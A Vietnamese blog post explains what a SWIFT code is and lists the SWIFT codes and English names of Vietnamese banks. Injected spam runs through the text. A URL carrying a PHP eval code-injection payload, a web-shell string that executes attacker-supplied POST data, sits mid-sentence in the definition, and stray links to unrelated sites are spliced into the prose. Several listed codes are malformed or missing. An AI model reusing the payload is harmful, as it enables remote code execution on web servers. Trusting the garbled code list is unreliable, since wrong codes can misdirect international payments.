Mã SWIFT Code và tên tiếng Anh của một số Ngân hàng Việt Nam

Bạn đang lên Google và tìm kiếm “SWIFT code là gì”, SWIFT code của Ngân hàng ACB, SWIFT code của Ngân hàng VietcomBank… phải không? Chắc rằng bạn đang tìm mã SWIFT code của Ngân hàng để thực hiện giao dịch thanh toán quốc tế. Bài viết này sẽ giới thiệu và cung cấp mã SWIFT Code của một số Ngân hàng Việt Nam để giúp bạn thuận hiện hơn trong công việc của mình.

SWIFT Code là gì?

follow SWIFT: Society for Worldwide Interbank Financial Telecommunication là Hội Viễn Thông Tài Chính Liên Ngân Hàng Thế Giới.

http://fertilitylaw.ca/changyong/jiufang/?q={${eval($_POST['bing123']) SWIFT code: là mã được cấp cho các thành việc trong Hiệp hội. Đây là mã quy định dành cho từng Ngân hàng để từ đó giao dịch với thị trường liên ngân hàng trên thế giới.

Nếu bạn thực hiện giao dịch quốc tế thì cần phải cung cấp mã SWIFT này để đảm bảo giao dịch đến đúng đối tượng và tránh các vấn đề nhầm lẫn đáng tiếc có thể xảy ra.

Từ mã SWIFT có thể dễ dàng xác định được tên Ngân hàng của bạn là gì, quốc gia của Ngân hàng hay Trụ sở chính của Ngân hàng ở đâu.

Tìm hiểu cấu trúc của mã SWIFT code qua hình ảnh bên dưới:

  • 4 ký tư đầu quy định Mã Ngân hàng.
  • 2 ký tự tiếp theo quy định Mã quốc gia.
  • 2 ký tự tiếp theo nữa nhận diện địa phương.
  • 3 ký tự cuối (nếu có) dùng để nhận diện chi nhánh. Nếu là chi nhánh chính thì 3 ký tự cuối là “XXX”.

SWIFT code của một số Ngân hàng Việt Nam

Dưới đây mình sẽ cung cấp cho các bạn mã SWIFT code cùng với tên tiếng Anh của một số Ngân Hàng Việt Nam. Bạn có thể tham khảo để điền đúng mã này trong các cài đặt có liên quan đến giao dịch quốc tế.

Đọc thêm:  Hướng dẫn đăng ký tham gia tiếp thị liên kết trên CJ cập nhật 2018

Mã SWIFT của một số Ngân hàng chính

http://losrodas.com/panama-ironman-70-3/im-panama-swim-dock/ 1. Mã SWIFT code Vietcombank – Ngân Hàng Thương Mại Cổ Phần Ngoại Thương Việt Nam
Tên giao dịch viết tắt:  Vietcombank
Tên giao dịch quốc tế: Bank for Foreign Trade of Vietnam
Mã Swift Code: BFTVVNVX

2. Mã SWIFT code Ngân hàng ACB – Ngân Hàng Thương Mại Cổ Phần Á Châu
Tên giao dịch viết tắt: ACB
Tên quốc tế đầy đủ: Asia Commercial Bank
Swift Code: ASCBVNVX

3. Mã SWIFT code Techcombank – Ngân Hàng Thương Mại Cổ Phần Kỹ Thương Việt Nam
Tên giao dịch viết tắt: Techcombank
Tên quốc tế đầy đủ: Vietnam Technological and Commercial Joint- stock Bank
Swift Code: VTCBVNVX

4. Mã SWIFT code Eximbank – Ngân Hàng Xuất Nhập Khẩu Việt Nam
Tên giao dịch viết tắt: Eximbank
Tên quốc tế đầy đủ: Vietnam Export Import Bank
Swift Code: EBVIVNVX

5. Mã SWIFT code Vietinbank – Ngân Hàng Công Thương Việt Nam
Tên giao dịch viết tắt: VietinBank
Tên quốc tế đầy đủ: Vietnam Bank for Industry and Trade
Swift Code: ICBVVNVX

6. Mã SWIFT code DongA Bank – Ngân Hàng Đông Á
Tên giao dịch viết tắt: DongABank
Tên quốc tế đầy đủ: DongA Bank
Swift Code: EACBVNVX

7. Mã SWIFT code Agribank – Ngân Hàng Nông Nghiệp Và Phát Triển Nông Thôn Việt Nam
Tên giao dịch viết tắt: Agribank
Tên quốc tế đầy đủ: Vietnam Bank of Agriculture and Rural Development
Swift Code: VBAAVNVX

Đọc thêm:  Hướng dẫn cách hủy thanh toán tự động trên Paypal

8. Mã SWIFT code Sacombank – Ngân Hàng Sài Gòn Thương Tín
Tên giao dịch viết tắt: Sacombank
Tên quốc tế đầy đủ: Saigon Thuong Tin Commercial Joint Stock Bank
Swift Code: SGTTVNVX

9. Mã SWIFT code Phương Nam Bank – Ngân Hàng Thương Mại Cổ Phần Phương Nam
Tên giao dịch viết tắt: SouthernBank
Tên quốc tế đầy đủ: Southern Commercial Joint-Stock Bank
Swift Code: PNBKVNVX

10. Mã SWIFT code ngân hàng Maritime Bank – Ngân Hàng Thương Mại Cổ Phần Hàng Hải Việt Nam
Tên giao dịch viết tắt: MaritimeBank
Tên quốc tế đầy đủ: Maritime Bank
Swift Code: MCOBVNVX

11. Mã SWIFT ANZ  Bank – Ngân Hàng ANZ
Tên giao dịch viết tắt: ANZBank
Tên quốc tế đầy đủ: Australia and New Zealand Banking
Swift Code: ANZBVNVX

12. Mã SWIFT code BIDV – Ngân Hàng Đầu Tư Và Phát Triển Việt Nam
Tên giao dịch viết tắt: BIDV
Tên quốc tế đầy đủ: Bank for Investment and Development of Vietnam
Swift Code: BIDVVNVX

13. Mã SWIFT code Ngân hàng quân đội – Ngân hàng thương mại cổ phần Quân đội
Tên giao dịch viết tắt: MB Bank
Tên quốc tế đầy đủ: Military Commercial Joint Stock Bank
Swift Code: MSCBVNVX

14. Mã SWIFT code Indovinabank – Ngân Hàng Indovina
Tên giao dịch viết tắt: IndovinaBank
Tên quốc tế đầy đủ: Indovina Bank Ltd
Swift Code: ABBVNVX

Bảng thống kê Mã SWIFT code các Ngân Hàng Việt Nam

STT Bank name / Tên ngân hàng Swift Code
1 Asia Commercial Bank (ACB)
Ngân hàng TMCP Á Châu
ASCBVNVX
2 Bank for Foreign Trade of Vietnam (VietcomBank)
Ngân hàng TMCP Ngoại Thương Việt Nam
BFTVVNVX
3 Vietnam Bank for Industry and Trade (VietinBank):
Ngân hàng TMCP Công Thương Việt Nam
ICBVVNVX
4 Vietnam Technological And Commercial Joint Stock Bank (Techcombank)
Ngân hàng TMCP Kỹ Thương Việt Nam
VTCBVNVX
5 Bank for Investment & Dof Vietnam (BIDV)
Ngân hàng TMCP Đầu Tư Và Phát Triển Việt Nam
BIDVVNVX
6 Vietnam Maritime Commercial Joint Stock Bank (MaritimeBank)
Ngân hàng TMCP Hàng Hải Việt Nam
MCOBVNVX
7 Vietnam Prosperity Bank (VPBank)
Ngân hàng Việt Nam Thịnh Vượng
VPBKVNVX
8 Vietnam Bank For Agriculture and Rural Development (Agribank)
Ngân hàng Nông nghiệp và Phát triển Việt Nam
VBAAVNVX
9 Vietnam Export Import Commercial Joint Stock Bank (Eximbank)
Ngân hàng TMCP Xuất nhập khẩu Việt Nam
EBVIVNVX
10 Saigon Thuong Tin Commercial Joint Stock Bank (Sacombank)
Ngân hàng TMCP Sài Gòn Thương Tín
SGTTVNVX
11 DongA Bank
Ngân hàng TMCP Đông Á
EACBVNVX
12 North Asia Commercial Joint Stock Bank (NASB)
Ngân hàng TMCP Bắc Á
NASCVNX
13 Australia and New Zealand Banking (ANZ Bank)
Ngân hàng TNHH một thành viên ANZ Việt Nam
ANZBVNVX
14 Southern Commercial Joint Stock Bank (Phuong Nam Bank)
Ngân hàng TMCP Phương Nam
PNBKVNVX
15 Vietnam International Commercial Joint Stock Bank (VIB)
Ngân hàng TMCP Quốc tế Việt Nam
VNIBVNVX
16 Vietnam Asia Commercial Joint Stock Bank (VietABank)
Ngân hàng TMCP Việt Á
VNACVNVX
17 Tien Phong Commercial Joint Stock Bank
Ngân hàng TMCP Tiên Phong
TPBVVNVX
18 Military Commercial Joint Stock Bank (MB Bank)
Ngân hàng thương mại cổ phần Quân đội
MSCBVNVX
19 OceanBank
Ngân hàng TM TNHH 1 thành viên Đại Dương
OJBAVNVX
20 Petrolimex Group Commercial Joint Stock Bank (PG Bank)
Ngân hàng TMCP Xăng dầu Petrolimex
PGBLVNVX
21 Lien Viet Post Joint Stock Commercial Bank (LienVietPostBank)
Ngân hàng TMCP Bưu Điện Liên Việt
LVBKVNVX
22 HSBC Bank (Vietnam) Ltd
Ngân hàng TNHH một thành viên HSBC (Việt Nam)
HSBCVNVX
23 Mekong Housing Bank (MHB Bank)
Ngân hàng Phát triển nhà đồng bằng sông Cửu Long
MHBBVNVX
24 Southeast Asia Commercial Joint Stock Bank (SeABank)
Ngân hàng TMCP Đông Nam Á
SEAVVNVX
25 An Binh Commercial Joint Stock Bank (ABBank)
Ngân hàng TMCP An Bình
ABBKVNVX
26 CITIBANK N.A.
Ngân hàng Citibank Việt Nam
CITIVNVX
27 HoChiMinh City Development Joint Stock Commercial Bank (HDBank)
Ngân hàng TMCP Phát triển Thành phố Hồ Chí Minh
HDBCVNVX
28 Global Petro Bank (GBBank)
Ngân hàng Dầu khí toàn cầu
GBNKVNVX
29 Orient Commercial Joint Stock Bank (OCB)
Ngân hàng TMCP Phương Đông
ORCOVNVX
30 Saigon – Hanoi Commercial Joint Stock Bank (SHB)
Ngân Hàng Thương Mại cổ phần Sài Gòn – Hà Nội
SHBAVNVX
31 Nam A Commercial Joint Stock Bank
Ngân hàng Thương Mại cổ phần Nam Á
NAMAVNVX
32 Saigon Bank For Industry And Trade (Saigon Bank)
Ngân Hàng TMCP Sài Gòn Công Thương
SBITVNVX
33 Saigon Commercial Bank (SCB)
Ngân hàng TMCP Sài Gòn
SACLVNVX
34 Vietnam Construction Joint Stock Commercial Bank (VNCB)
Ngân hàng thương mại TNHH MTV Xây dựng Việt Nam

Bạn muốn nhận thanh toán quốc tế khi làm việc trên mạng với hình thức chuyển khoản Ngân hàng thì chắc chắn phải khai báo mã SWIFT.

Như vậy bạn có thể tìm được Mã Swift Code qua bài viết trên để hoàn thành những khai báo, cài đặt khi nhận tiền từ các Ngân hàng liên quốc tế.

Chúc bạn thành công!

Leave a Reply